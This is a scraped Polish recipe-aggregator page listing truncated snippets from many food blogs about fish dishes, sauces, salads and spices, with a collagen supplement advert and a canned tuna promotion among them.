cebula Risotto • 3/4 szklanki ryżu arborio • 1 cebula • 100 ml białego wina • 3/4 litra bulionu warzywnego • szczypta szafranu • 2 łyżki masła • 2 łyżki parmezanu • gotowy sos balsamiczny Wykonanie: • Rybę obrać ze skóry i pokroić w jednakowej wielkości prostokąty. • Do naczynia do pieczenia wlać wino i bulion oraz pokrojoną cebulę. • Ułożyć na cebuli(...)kawałki ryby i przykryć. • Gotować na wolnym ogniu przez 5-8 minut, odwracając filety na drugą stronę. Risotto: • Podsmażyć na maśle cebulę pokrojoną w drobną kostkę. • Dodać ryż i smażyć je razem jeszcze przez minutę. Dodać szafran. • Następnie podlać 1/3 bulionu wymieszanym z białym winem. • Gdy bulion odparuje, dolewać bulion

To co kocham
Pasta z wędzonej makreli 117

Bardzo smaczna pasta do smarowania chleba na bazie wędzonej ryby z majonezem i keczupem. U nas zniknęła błyskawicznie! Ma konkretny smak za sprawą przypraw. Do kanapki z tą pastą pasuje ogórek lub papryka konserwowa. Składniki: • 1 duża wędzona makrela • 100 g sera żółtego • 4 łyżki majonezu • 4 łyżki keczupu pikantnego(...)sól, pieprz do smaku • chleb do wyboru Wykonanie: • Makrelę obrać ze skóry i ości i rozdrobnić. • Ser żółty zetrzeć na drobnej tarce. • Wymieszać rybę z serem, majonezem i keczupem. • Doprawić solą i pieprzem, dodać koperek. • Podawać wyciśnięty na okrągły pumpernikiel lub z innym chlebem. • Można również podawać na krakersach

To co kocham
Dorsz w zapiekance tortowej 116

Przy okazji konkursu kreatywnego z udziałem włoszczyzny i ryby w roli głównej powstało to danie, które może być również wigilijnym. Dorsz w towarzystwie omletu i puree marchewkowego, puree selerowo-pietruszkowego, podane w formie zapiekanki tortowej.Trochę zabawy z tym daniem, ale fajny efekt końcowy i oczywiście, co najważniejsze: smak. Składniki(...)skropić sokiem z cytryny. • Pora umyć, pokroić w półkrążki białą i część zielonej łodygi. • Rozgrzać 2 łyżki oleju i podsmażyć pora. Wymieszać z rybą i 1 jajkiem, doprawić solą i pieprzem. • Roztrzepać 3 jajka z odrobiną soli i pieprzu, dodać 1 łyżkę natki pietruszki i usmażyć omlet na odrobinie

To co kocham
Tilapia w sosie keczupowym 128

keczupu pikantnego • 1 łyżeczka chrzanu tartego • 1 łyżka natki pietruszki • olej do smażenia Wykonanie: • Filety skropić sokiem z cytryny, posypać solą i białym pieprzem. • Delikatnie obsmażyć rybę na oleju i ułożyć w naczyniu do zapiekania. • Wymieszać razem śmietanę, keczup i chrzan, doprawić do smaku. • Zalać przygotowanym sosem rybę i ułożyć

To co kocham
Puree z selera 154

zupie. Ale, odpowiednio przyrządzony i przyprawiony do smaku potrafi zamienić całe danie obiadowe w  wyrafinowaną potrawę, wówczas charakterystyczny smak selera doskonale równoważy się z subtelnym smakiem np. ryby lub białego mięsa. Składniki: seler  (około 500 g) sok z połowy cytryny 2 łyżki masła klarowanego 2 łyżki oliwy 150 ml mleka 150 ml wody sól biały pierz gałka muszkatołowa(...)przyprawiłam do smaku solą, pieprzem i świeżo startą gałka muszkatołową. Gotowe puree przełożyłam do salaterki. Tak przygotowane można podać na stół zamiast ziemniaków. Doskonale pasują do dań mięsnych i ryb. Na takim puree podałam dorsza pieczonego w piekarniku. Zachęcam Was, żebyście chociaż raz zrezygnowali z ziemniaków i na rzecz puree z selera. Życzę SMACZNEGO! Krys Dziękuję za odwiedziny

Kuchnia u Krysi
Łosoś z pieca z pomidorkami 155

porcje: 300 gram łososia 2 plastry cytryny słodka papryka sól morska pomidorki koktajlowe Piekarnik 200 stopni. Rybę umyj i osusz papierem. Oprósz solą i papryką, połóż 2 plastry cytryny.  Do ryby dodaj umyte pomidorki i piecz ok 30 minut

AZgotuj!
Wegańskie kotlety z selera 197

woda olej do smażenia kolory pieprz, sól   do obtaczania: bułka tarta mąka panierka wegańska: 2 łyżki mąki pół szklanki wody z gotowania selera 1,5 łyżeczki przyprawy do ryb  (w mojej był taki miks przyp raw: sól, czosnek, bazylia, gorczyca biała, cukier, imbir, tymianek, natka pietruszki, rozmaryn) 2 szczypty soli i pieprzu, 1 łyżeczka papryki słodkiej (konsystencja panierki(...)powinna być gęsta) panierka wegetariańska: 2 jajka 1,5 łyżeczki przyprawy do ryb  (w mojej był taki miks przyp raw: sól, czosnek, bazylia, gorczyca biała, cukier, imbir, tymianek, natka pietruszki, rozmaryn) 2 szczypty soli i pieprzu, 1 łyżeczka papryki słodkiej Wykonanie: 1. Seler obrać, umyć, pokroić na plasterki o grubości około 1 cm. Plasterki przekroić na pół. 2. Przygotowany

Mój pomysł na
Kolagenum Franciszka - "eliksir młodości" :) 101

zachować dobrą formę i młody wygląd.  Kolagenum Franciszka - to naturalny kolagen, który przebojem podbija świat! Jako jedyni w Polsce, firma ELENA uzyskuje ten suplement w drodze liofilizacji, z ryb, co gwarantuje jego najwyższą jakość i najczystszą - zbliżoną do ludzkiego postać. Kolagenum to naturalny eliksir młodości, który pozwala zachować zdrowy wygląd oraz kondycję skóry, tkanki łącznej i stawów przez całe(...)należy przekraczać maksymalnej porcji do spożycia w ciągu dnia. Preparat nie jest przeznaczony dla osób uczulonych lub cierpiących na nietolerancję któregokolwiek ze składników preparatu. Kolagenum Franciszka - Hydrolizowany kolagen z ryb  SKŁADNIKI: hydrolizowany kolagen (pochodzenia rybiego) 50%, liofilizowane kozie mleko, liofilizowane kobyle mleko, liofilizowane owoce: aronii i żurawiny, otoczka kapsułki hydroksypropyloceluloza i barwnik E171. Opakowanie zawiera 120 kapsułek

Zdrowie na języku :P
"RYBNE" KOTLECIKI Z TOFU 175

przyjmują mięsne nazwy, jednak ich smak przeważnie nie ma nic wspólnego z mięsem - jedynie wizualnie je imitują. Z tymi kotlecikami jest inaczej, ponieważ dzięki dodatkowi nori, naprawdę mają aromat ryby. Do tego nie mają ości, więc jest to taka "ryba" idealna ;) Czytaj więcej

Kasia Sarna
Rio Mare: tuńczyk genialnej jakości jakiego nie znacie 160

Wami swoimi wrażeniami. Pierwszy raz byłam tak bardzo zaskoczona jakością tuńczyka z puszki . Do tej pory go unikałam, bo kojarzył mi się z szarą breją, niczym nie przypominającą ryby jaką znałam z wakacyjnych podróży. Rio Mare zdecydowanie oszałamia jakością, tuńczyk ma piękny jasny, lekko różowy kolor i skąpany jest w sosie własnym lub oliwie z oliwek – nie znajdziecie tu tuńczyka(...)warzyw to strzał w dziesiątkę.  Jeśli do tej pory nie znaliście tuńczyka Rio Mare, to zachęcam Was do spróbowania. Może i kosztuje trochę więcej niż standardowa puszka tej ryby, ale jakość jaka za tym idzie jest genialna i wynagradza różnicę cenową

Gotowanie i blogowanie
Makaron penne z łososiem 166

patelni rozgrzewamy 5 łyżek oliwy. Na oliwie smażymy łososia. Trwa to około 4 minuty. Usmażony łosoś będzie miał barwę lekko jasno pomarańczową. Pod koniec smażenia dodajemy cytrynę. Podsmażoną rybę zdejmujemy z patelni. Na tą samą oliwę wrzucamy czosnek i podsmażamy go 2 minuty. Do czosnku dodajemy pomidory przekrojone na pół i obrane ze skórki. Dodajemy również pozostałe(...)łyżek oliwy, pokrojone liście bazylii, natkę pietruszki, sól i pieprz do smaku. Całość podsmażamy 3 minuty.  Ponownie dokładamy rybę, podgrzewamy 1 minutę. Dodajemy makaron, mieszamy, chwilę podgrzewamy, podajemy. Smacznego

Smak mojego domu
Curry z kurczakiem, warzywami i ryżem 256

Kurczak z warzywami pachnący ziołami i aromatycznym curry w sosie z serka mascarpone. Curry wywodzi się z kuchni indyjskiej - to niezwykle aromatyczne danie z warzywami, mięsem lub rybą w sosie. U nas w domu przygotowujemy je raz na jakiś czas, za każdym razem zmieniając proporcję, warzywa i dodatki. Zawsze wychodzi pyszne. Fajny pomysł na syty obiad. Danie obiadowe, które(...)szybko się przygotowuje i wspaniale smakuje. Polecam!:) My je uwielbiamy. Zamiast kurczaka i serka mascarpone możecie użyć kawałków ryby i sosu pomidorowego. Składniki: 1 podwójna pierś z kurczaka szklanka ryżu 1 duży pomidor / ew. 2 średnie 1 czerwona papryka 4 pieczarki 1 średnia cebula 1 opakowanie serka mascarpone oliwa z oliwek sól, pieprz, przyprawa curry, papryka słodka i ostra, oregano

Zasmakuj Kuchni
Schab wędzony dymem w płynie 125

najmniej tydzień. Wtedy z pomocą, dla tych niecierpliwych i dla tych, którzy w swoim zasięgu nie mają wędzarni, przychodzi naturalny dym wędzarniczy w płynie do różnych rodzajów mięs i ryb. Doskonale zastąpi on nam tradycyjny aromat dymu. Bardzo ważne jest, aby został wyprodukowany w kontrolowanym procesie pyrolizy, inaczej mówiąc suchej destylacji różnych rodzajów drewna. Jest to naturalny skondensowany(...)szkodliwych substancji. W swoim składzie nie powinien posiadać żadnych innych składników. Oczywiście ten dym możemy też używać do innych produktów, nie tylko do bejcowania czy też marynowania mięsa lub ryb, na przykład do różnego rodzaju serów (żółtych, twarogu, fety, mozzarelli) lub do dań,   których chcielibyśmy wykorzystać aromat wędzarniczego dymu (na przykład: zup, sosów, czy też potraw jednogarnkowych

Kulinarne przygody Gatity
Surówka obiadowa 493

ogórków , marynowanej papryki jest prosta i smaczna. Przygotowana z domowych przetworów. Ma jeszcze inną zaletę, moja surówka obiadowa jest tania. Jest idealnym dodatkiem do drugiego dania, pasuje do mięsa, ryb i do wszystkich klusek. Do kopytek lubię tradycyjną surówkę z kiszonej kapusty lub zasmażaną kapustę. Polecam też inne przepisy na surówki: Surówka z kiszonej kapusty bez cebuli Surówka z marchewki(...)dietetyczna Surówka z kapusty, pora i koperku Surówka Colesław Surówka do ryby smażonej Surówka z kapusty pekińskiej surówka z modrej kapusty . surówka z młodej kapusty surówka z warzyw z papryką Jak przygotować najlepszą surówkę obiadową? Składniki: 500 g świeżo ukiszonej kapusty 1 ogórek kiszony, mogą być dwa 2 paski marynowanej czerwonej papryki 1 cebula łyżka posiekanej natki pietruszki 2 łyżki

Damsko-męskie spojrzenie na kuchnię
KOTLECIKI ZIEMNIACZANE 362

migdałów/ orzeszków pini/ orzechów nerkowca 10 g startego parmezanu 2-3 łyżki oliwy 1-2 łyżki śmietanki kremówki dodatkowo: odrobina soku z cytryny oraz sól i pieprz DODATKI: Smażona ryba, np. dorsz Cebulkę drobno poszatkować – ręcznie bądź w malakserze. Zeszklić na maśle i odstawić. Ziemniaki ugotować i przepuścić przez praskę lub zagnieść w dużej misce. Do masy dodać jajko, mąkę(...)cytryny oraz soli. Tutaj trzeba się pobawić trochę własnym smakiem ;) Kotleciki smakują dobrze podane na ciepło, jak i jako przekąska w podróży lub w pracy. Podaję je często z rybą lub z mięsem oraz surówką, ale smakują też wybornie jako samodzielne, szybkie danie wegetariańskie. Do kotletów można podać również inne sosy, np. pieczarkowy, bądź pomidorowy wg swoich upodobań ;)  Smacznego

Calzonella.com
Sałatka śledziowa z burakiem - fit 237

Sałatka śledziowa w jesiennym wydaniu, bo z dodatkiem buraka. Dla amatorów śledzia nowy pomysł na podanie tej smaczne ryby, urozmaicone menu zawsze mile widziane. To sałatka idealna dla zwolenników zdrowego odżywiania, bo wiadomo śledź to bogate źródło dobroczynnych kwasów tłuszczowych, a buraki wzmacniają układ krwionośny. Śledź to również produkt idealny dla odchudzających się, bo choć to ryba tłusta, tak naprawdę

Gotuj zdrowo!Guten Appetit!
Rodzaje i typy mąk oraz ich wykorzystanie w kuchni 230

faworków, domowych bułeczek; typ 650, mąka dobra do przygotowania piernika, naleśników, racuchów, domowego chleba; Każdą z powyższych mąk możemy używać do zagęszczania sosów, potraw, panierek do kotletów i ryb czy zasmażek. Mąki o wyższych typach są wykorzystywane najczęściej do wypieków chleba. Im wyższy typ takiej mąki, tym bardziej zwarte pieczywo otrzymamy. Można ich używać także do domowego(...)jeszcze... mąka kukurydziana - nie zawiera glutenu; nadaje się praktycznie do wszystkiego, czyli domowego chleba kukurydzianego, naleśników, ciast (szczególnie ciast kruchych), biszkoptów, placków, bułek, panierek do kotletów i ryb czy zagęszczania sosów i zup; mąka gryczana - otrzymana dzięki zmieleniu nasion gryki, używana jest do produkcji makaronów, ciast, naleśników. Jest często mieszana z mąką pszenną, gdyż sama jest dość ciężka

Zasmakuj Kuchni
Ryba w ziemniaczanej panierce. 127

Już kilka razy słyszałam, że taka ryba jest bardzo dobra, a i panierka ciakawa! Dziś nadszedł czas, aby spróbować jej smaku. W internecie widziałam mnóstwo przepisów, ale zrobiłam je po swojemu. Myślę, że im prościej tym lepiej! SKŁADNIKI: 1 filet z dorsza około 60 dag. 4 ziemniaki starte na grubych oczkach  1 duże jajko sól, pieprz WYKONANIE: filet kroimy(...)kawałki, nacieramy solą i grubo mielonym pieprzem, starte ziemniaki odsączamy z nadmiaru wody,  łączymy z 1/2 jajka, pieprzem i solą, każdy kawałek ryby moczymy w jajku(w drugiej połowie) okładamy ziemniaczaną panierką,  smażymy na maśle z obu stron po 5 minut, przykrywamy pokrywką i smażymy kolejne 2-3 minuty z każdej strony, odkrywamy, chwilę smażymy na złoty kolor

Kuchnia Beaty
PIECZONY ŁOSOŚ Z SOSEM KOPERKOWYM 290

Proste danie, które zaskakuje smakiem i łatwością wykonania.  Łososia upiekłam w piekarniku, co zaoszczędziło mi zbędnego bałaganu i charakterystycznego zapachu unoszącego się w kuchni podczas smażenia ryby. Wyszedł idealnie miękki - soczysty i delikatny. Jeśli jednak preferujecie bardziej wypieczone filety, potrzymajcie je w piecu odpowiednio dłużej. Do łososia podałam bajecznie prosty, a zarazem pyszny sos na bazie słodkiej śmietanki

cool and minty
Ryba w sosie jogurtowym 138

Ryba w sosie jogurtowym jest to specjał kuchni indyjskiej. Danie bardzo aromatyczne, wyraziste i pikantne. Wielbicielem ryb nigdy nie byłam, ale ta zdecydowanie przypadła mi do gustu. Czytaj więcej

Biały fartuszek
Najbrzydszy obiad świata 142

jakie to dobre! Pokonałam jakąś tam słabość, ale kilka podobnych ciągle mam. Na przykład nie jestem w stanie ani przygotować ani zjeść mięsa królika. Mam też problem z obróbką ryb ;) O ile królika odpuszczam, nie zagości w mojej kuchni jeszcze długo, tak do ryb pewnego dnia trzeba będzie się przełamać. Normal 0 21 false false false PL X-NONE

bistro mama
Potrawy na Wigilię i Święta - ściągawka 205

Potrawy na Wigilię Barszcz czerwony wigilijny Czysta zupa grzybowa z wędzoną śliwką Zupa grzybowa Uszka z grzybami Pierogi z kapustą i grzybami Wigilijna kapusta z grochem Łazanki z kapustą Ryba po grecku w wersji odchudzonej Karp smażony z sosem szarym Śledzie marynowane w oleju lnianym Najlepsze śledzie z cebulą Śledzie w miodzie Śledzie z cebulą i czerwonym pieprzem Śledzie(...)marchewką Potrawy dla dzieci Barszcz czerwony wigilijny Zupa grzybowa Uszka z grzybami Pierogi z kapustą i grzybami Pierogi ruskie Kotleciki z łososia Chrupiące polędwiczki z kurczaka z pieczonymi ziemniakami Ryba po grecku w wersji odchudzonej Tradycyjna sałatka jarzynowa Sałatka z paluszków krabowych Sałatka z paluszków krabowych i ananasa Potrawy do szybkiego przygotowania Zupa grzybowa Suszone grzyby w cieście piwnym Łosoś

Codziennik Kuchenny
Pieczony łosoś z kaszą pęczak i warzywami 103

ułóż łososia na warzywach, przypraw solą i pieprzem, a następnie skrop cytryną i oliwą z oliwek. Piecz wszystko 15-20 minut w temperaturze 200 stopni. Pamiętaj, aby nie piec ryby zbyt długo, będzie wówczas sucha. Podczas gdy ryba i warzywa się pieką ugotuj kaszę pęczak z dodatkiem soli i odrobiny oliwy z oliwek. Kiedy wszystko będzie gotowe podaj i smacznego

ale Pysznie
O kuchennym zauroczeniu i jagodach z budyniem 134

Wioska ta jest położona między jeziorem, a rzeką Wartą, co sprawia, że wędkarze ( tacy, jak mój tata) mają tu ogromne pole do popisu swoimi wędziskami ;) Po udanych połowach ryby trafiały albo na nasze talerze, albo do zamrażalnika, coby poczuć smak słodkowodnej ryby już po powrocie do miejskiej dżungli. Na czymś trzeba je by było usmażyć...i właśnie wtedy wpadła

Kuchnia w Słońcu Skąpana
Sos do pulpecików rybnych babci Basi 128

zostawisz komentarz…, Sos do pulpecików rybnych : 1 kubek jogurtu naturalnego, 3 łyżki majonezu, 2 łyżki keczupu, 2 łyżki musztardy, szczypiorek lub pietruszka, koperek, przyprawy, sól,pieprz, przyprawa do ryb , Wszystkie składniki połączyć na gładki sos i polać pulpeciki

Pysznosci Babci Basi
Pasta z tuńczyka – nie tylko na kanapki 215

jajka ugotowane na twardo. Wszystko razem przekładamy do miski z twarożkiem, musztardą, sokiem z cytryny i majonezem, dokładnie mieszamy, dopieprzamy. Solenie zazwyczaj nie jest już potrzebne bo i ryba, i twaróg i kapary bywają słone – spróbujcie, i tylko jeśli paście tego potrzeba – dosólcie ją. Przekładamy wymieszaną pastę do salaterki i schładzamy w lodówce przynajmniej 2-3 godziny. Uwielbiam kanapki

Karo in the Kitchen
23 WRZEŚNIA – TARG RYBNY – WARSZAWA 191

morzem i nad jeziorami kończy się sezon turystyczny, w Warszawie ryby biorą na całego.16 września ruszył Targ Rybny w samym centrum miasta. Z wędką czy bez piątkowy połów będzie na pewno udany. Artykuł 23 WRZEŚNIA – TARG RYBNY – WARSZAWA pochodzi z serwisu CookMagazine

COOKMAGAZINE
Miętus z młodymi ziemniakami i ajwarem 143

Olej rzepakowy- 1 łyżka Papryka wędzona – 1 łyżeczka Wykonanie: Warzywa obieramy i kroimy w kostkę. Ziemniaki myjemy i gotujemy, aż będą prawie miękkie. W między czasie myjemy i osuszamy rybę, a następnie przyprawiamy ją wędzoną papryką i pastą ajwar. Pokrojone warzywa mieszamy z ziemniakami, kaparami, olejem, wędzoną papryką i pastą ajwar. W naczyniu do zapiekania układamy warzywa i ziemniaki(...)nich rybę. Całość pieczemy przez 20 minut w 180 stopniach

Kuchnia Bon Appetit
Sos koperkowy. 146

wirtualnym światem. Śpieszę więc z opisaniem kolejnego sosu, tym razem koperkowego. Jest bardzo prosty w przygotowaniu. Biały pieprz, którego używa się do przyprawiania jasnych sosów i ryb, doskonale się tu spisał. Razem z cytryną idealnie podkreślił smak łososia, bo z tą rybą go podawałam. Składniki : 1 i 1/2 szkl. bulionu warzywnego 1/2 szkl. śmietanki kremówki 30% szczypta kurkumy

zadanie-gotowanie
Zupa rybna z grzybami shiitake 160

dlatego, że piątek, ryba pojawiła się. Bardziej z lenistwa, bo do sklepu schodzić nie chciało nam się. Korzystamy z tego, co w lodówce...czyli sprzątanie lodówki.   Składniki 400 g łososia ze skórą 1 duża marchew 1 duża pietruszka 1 mały seler 1/2 średniej cukinii 1/2 zielonej papryki 1/2 czerwonej papryki 1 łyżka posiekanej natki pietruszki 150 g grzybów shiitake(...)zapałkę. Grzyby czyścimy, kroimy na plasterki. Papryki kroimy w paski. Drobno siekamy natkę. Filet z łososia gotujemy razem (1,5 l wody) liściem laurowym i kaffiru przez 10 min. Rybę wyjmujemy, oddzielamy mięso od skóry, rozdrabniamy na mniejsze kawałki. Do wywaru rybnego wrzucamy warzywa (oprócz papryk), natkę, gotujemy 5 min, wrzucamy ryż i papryki i gotujemy do miękkości ryżu. Wrzucamy

R'n'G Kitchen
POMIDORKI KOKTAJLOWE PO PROWANSALSKU 128

Niezwykle prosty sposób na przyrządzenie pomidorków koktajlowych- na sposób prowansalski – z miodem, oliwą z oliwek i tymiankiem. Tak upieczone pomidorki mogą stanowić świetny dodatek do grillowanych ryb lub mięsa. Zachęcam Was gorąco do ich spróbowania! Przygotowanie 10 min Pieczenie 20 min   Dla 4 osób : 500 g pomidorków koktajlowych 3 ząbki czosnku 6 gałązek świeżego tymianku 3 łyżki płynnego(...)popieprz. Polej miodem i oliwą z oliwek. Wstaw do nagrzanego piekarnika i piecz przez około 20 minut, od czasu do czasu podlewając sosem z pieczenia. Podawaj z grillowaną rybą lub mięsem

Smaki Francji współczesna kuchnia francuska
Łosoś zapiekany w cieście francuskim 116

Łosoś, ryba ze wszech miar szlachetna, ma to do siebie, że niezależnie od tego, jak się go przyrządzi, w zasadzie na pewno będzie smakował... Tym niemniej warto od czasu do czasu spróbować przygotować go w sposób mniej oczywisty, oryginalny, z dodatkowymi, ciekawymi nutami smakowymi. Oto nasz sprawdzony przepis na przepysznego łososia w cieście francuskim: Składniki: arkusz ciasta francuskiego 2 kawałki

Aromatyczne Podróże
Cotygodniowy przegląd promocji w gazetkach 163

gazetek- wybaczcie :) Za to dziś ruszam z kopyta :D Bardzo dużo ciekawych gadżetów i przydatnych akcesoriów kuchennych znalazłam. Zdecydowanym moimi faworytami są: maszynka do pieczenia chleba, deska do krojenia ryb, spiralna krajalnica do warzyw i magnes do usuwania tłuszczu :) Zelmer maszynka do mięsa Cena średnia. Zazwyczaj w sklepach stacjonarnych jest wyższa, ale w internecie można kupić od 144 zł. Maszynka(...)Świetnie się sprawdza w pieczeniu. Kaufland do 31 sierpnia Nakłuwacz do mięsa Nakłuwanie mięsa wydobywa najlepszy smak z przygotowywanych potraw mięsnych. Netto  do 4 września Deska do krojenia ryb Prosty, ale za to jaki przydatny gadżet! Netto  do 4 września Zestaw zamknięć Prosty sposób przechowywania, zajmujący mało miejsca :)  Netto  do 4 września Silikonowy zaparzacz Alternatywa metalowych

Tradycyjna Kuchnia
Zupa pomidorowa z pulpecikami z dorsza 139

ziaren ziela angielskiego 2 średnie liście laurowe Mięso z dorsza zmielić. Przyprawić solą i świeżo mielonym pieprzem (najlepiej białym). Bułkę namoczyć w zimnej wodzie. Odcisnąć dokładnie, dodać do ryby. Wszystko razem dokładnie wymieszać i odstawić do lodówki.  Marchew, pietruszkę i selera obrać, opłukać i pokroić w słupki. Cebulę obrać i posiekać drobno.  W garnku rozgrzać oliwę

Codzienna kuchnia niecodzienna
Zupa rybna 137

Właśnie wróciłam z wakacji. Nie lubiłam ryb jednak to się zmieniło po tej zupie którą jadłam nad morzem. Jest świetna! Będę ją często powtarzać mimo tego że nie jest ona najtańsza ze względu na rybę, ale smakuje obłędnie. Ps jeżeli zamierzasz pominąć koperek nie rób tego, zupa bez niego ma zupełnie inny smak. Czytaj więcej

Pychotkaaa
Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem 139

niego wiele dań, między innymi tę „Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem”. Polecam jako dodatek do dań obiadowych z mięsami, z rybami. Świetnie się również komponuje z wytrawnymi tartami. Składniki surówki z kopru włoskiego: (2-3 porcje) 1 bulwa kopru włoskiego (fenkułu) 1 kalarepka 1 duże zielone jabłko sok z połowy cytryny(...)doprawić odrobiną soku z cytryny. Surówkę z kopru włoskiego (fenkułu) , kalarepki i zielonego jabłka z koperkiem podawać jako dodatek do dań obiadowych (do tart, dań z mięsem lub z rybami) . The post Surówka z kopru włoskiego (fenkułu), kalarepki i zielonego jabłka z koperkiem appeared first on Moja Delicja - Przepisy kulinarne

Moja Delicja
Grillowane szparagi z pomidorkami koktajlowymi i fetą 140

jednakowej grubości. Dzięki temu wszystkie upieką się jednakowo. Grillowane szparagi mogą być świetną przekąską, idealnie się sprawdzą na letnią kolację, ale również jako dodatek do dań obiadowych z mięsem, rybą lub dań w wersji wege, którą Wam gorąco polecam (np. z „ Młodymi ziemniaczkami z suszonymi pomidorami, bazylią i parmezanem ” i „ Sałatką z rukolą, rodzynkami i płatkami migdałowymi(...)miękkie, ale wciąż chrupiące (jeśli przetrzymacie dłużej, staną się zdrewniałe) . Grillowane szparagi z pomidorkami posypać pokruszoną fetą. 50 g pokruszonej fety Podawać jako dodatek do dań obiadowych z mięsem, rybą lub dań w wersji wege (które polecam), czyli z „ Młodymi ziemniaczkami z suszonymi pomidorami, bazylią i parmezanem ” oraz „ Sałatką z rukolą, rodzynkami i płatkami migdałowymi „ źródło

Moja Delicja
Łosoś z sosem z mango / Roasted salmon with mango sauce 193

ostatnio spełniłam życzenie mojego ukochanego i zrobiłam mu na obiad schabowego (a nie przepadam), tym razem musiał się zgodzić moją propozycję:) Biorąc pod uwagę fakt, że uwielbiam ryby i owoce morza postawiłam na bezpiecznego łososia, którego nawet mój połówek toleruje. Postanowiłam poszukać czegoś innego niż zwykle i takim też sposobem trafiłam na przepis Asi z Kwestii Smaku , a że miałam

karmelowy
Jak nad morzem najeść się ryb i nie zbankrutować? 116

takie miejsca, gdzie plaże nie są zatłoczone, a plażowicze mają szansę na spokojny wypoczynek, nie zagrożony zawałem serca od nagłych ryków młodzieży […] Artykuł Jak nad morzem najeść się ryb i nie zbankrutować? pochodzi z serwisu Wiszniówka

Wiszniówka
Dorsz pieczony z pieczarkami i koperkiem 119

pyszną rybkę. Niniejszym więc nadrabiam zaległości 🙂 Oto dorsz pieczony w pysznym sosie.   W moim przepisie bohaterem jest dorsz, ale równie dobrze będzie się zapiekał sandacz lub inna biała ryba. Polecam taką, z […] Artykuł Dorsz pieczony z pieczarkami i koperkiem pochodzi z serwisu Wiszniówka

Wiszniówka
Pulpeciki z dorsza w sosie paprykowo-pomidorowym - dzieci to lubią! 122

Często bywa tak, że dzieci jadłyby rybkę, ale boją się ości. Czy jest na to jakaś metoda, oprócz wybierania ości pęsetą przed przyrządzeniem ryby? Oczywiście! Proste i smaczne danie w postaci małych, smakowitych kuleczek z mięsa ryby, ugotowanych na parze. To jest lepsze niż mielony! 😉   Nie rozumiem do końca, dlaczego tak jest, […] Artykuł Pulpeciki z dorsza w sosie

Wiszniówka
Cynamon, goździki, kolendra, imbir, gałka muszkatołowa i kardamon 173

chlorogenowy, kawowy), taniny oraz sporą ilość chromu, dzięki któremu mamy mniejszą ochotę na słodycze. W kuchni idealnie komponuje się z pieczonymi jabłkami i deserami. Dodajcie go też do smażonej ryby, a jej smak i aromat zyskają wiele. Goździki Goździki mają właściwości znieczulające i odświeżające, dlatego ich żucie lub ssanie to sprawdzony sposób na ból zęba i nieświeży oddech. Goździki(...)ziarenka w moździerzu, gdyż trzymany w formie sypkiej szybko traci swój aromat. Ze względu na intensywny smak, lepiej używać go w małych ilościach. Można go dodawać zarówno do mięsa, ryb, gulaszów czy pasztetów jak i do dań na słodko. Stosuje się go także do wyrobu nalewek, wódek i likierów. Jest jednym ze składników curry.  Kardamon prócz szerokiego zastosowania

Zasmakuj Kuchni
Kurkuma, przyprawa indyjska 156

więzadeł i uśmierzania bólów menstruacyjnych. Aby jednak była skuteczna powinna być dobrej jakości, bez zbędnych dodatków. W kuchni używam jej najczęściej do zabarwiania białego ryżu, potraw z kurczaka, czy ryb. Jest jedną z podstawowych przypraw w krajach Bliskiego Wschodu - wchodzi na przykład w skład curry. Kurkuma jest też istotnym składnikiem musztardy i sosu Worcestershire. Mielona kurkuma to doskonały dodatek(...)potraw duszonych, zup i ryżu. Nada charakterystyczny smak rosołowi, potrawom z drobiu, ryb i owoców morza. Można dodawać ją do marynat. Kurkuma to także zamiennik szafranu - jednej z najdroższych przypraw świata. Warto wiedzieć, że kurkuma jest stosowana w przemyśle spożywczym jako barwnik o numerze E100. Jak przyprawiać potrawy kurkumą? Od 1/8 do 1/4 łyżeczki wystarczy na 4 porcje

Zasmakuj Kuchni
Sałatka z wędzonej makreli 172

Jedna z ryb która często gości na naszych stołach. Jest nie tylko bogata w kwasy tłuszczowe ale również w selen i jod. Warto ją jeść, dlatego dziś sałatka z makreli. Smacznego! :) Normal 0 21 false false false PL X-NONE X-NONE MicrosoftInternetExplorer4 /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size(...)ostrej musztardy Sól, pieprz Sposób wykonania: Makrele dobrze oczyścić ze skóry i ości. Włożyć do dużej miski. Ogórki,  paprykę, jajka oraz cebule pokroić w kostkę i dodać do ryby. Doprawić majonezem, musztardą oraz solą i pieprzem

Smaki Natalii
Pasta z wędzonej makreli 149

Naprawde zachęcam do jedzenia ryb. Na blogu ukazał się już przepis z wędzoną makrelą ( sałatka z wędzonej makreli) , ale dobrych ryb nigdy dość. Dziś szybka i praktyczna pasta z makreli. Polecam :) Pasta z wędzonej makreli Składniki: 1 wędzona makrela 2 ogórki konserwowe/kiszone 1 mała cebula koprek/natka pietruszki 1 łyzka majonezu 1 łyżka śmietany 18% 1 łyżeczka musztardy sól, pieprz Sposób

Smaki Natalii
Podsumowanie miesiąca - czerwiec 188

skończyło się tym, że wylądowały w koszu. Widać nawet dania robione tysiące razy, choć raz muszą nie wyjść, by równowaga została zachowana ;) Nie wyszedł mi stir-fry z rybą, a następnie z kurczakiem - ten z rybą był niezjadliwy, ten z kurczakiem był ok, ale żadna rewelacja - widać to nie moje smaki :D W czerwcu udało mi się opublikować 14 przepisów

Cooking Monster
W SKRÓCIE: TŁUSZCZE 139

czasie staje się to nawet smaczniejszą opcją :D Taka kanapeczka z oliwą i miodem .. mmmm!! KWASY TŁUSZCZOWE WIELONIENASYCONE OMEGA-3: olej lniany, nasiona lnu, olej z orzechów włoskich, ryby (w tym śledzie!!) OMEGA-6: olej słonecznikowy, kukurydziany, sojowy, z kiełków pszenicy, orzeszki ziemne Zalecane jest, aby proporcja omega-6 do omega-3 była jak najmniejsza, maksymalnie 5:1. Należy zatem(...)komórek i tkanki nerwowej niezbędny do prawidłowego wzrostu i rozwoju niezbędny do syntezy witaminy D i produkcji niektórych hormonów syntezowany w organizmie Obecny TYLKO w produktach pochodzenia zwierzęcego (mięso, ryby, owoce morza, nabiał, jaja).  JEŚĆ ŻÓŁTKO CZY NIE? Tak na prawdę, nie ma jednoznacznych badań, które potwierdziłyby teorię, że cholesterol spożywany wraz z pokarmem powoduje wzrost cholesterolu we krwi

Vroblewska-fitlife
Dorsz w paprykowo - pomidorowym sosie - dietetycznie 146

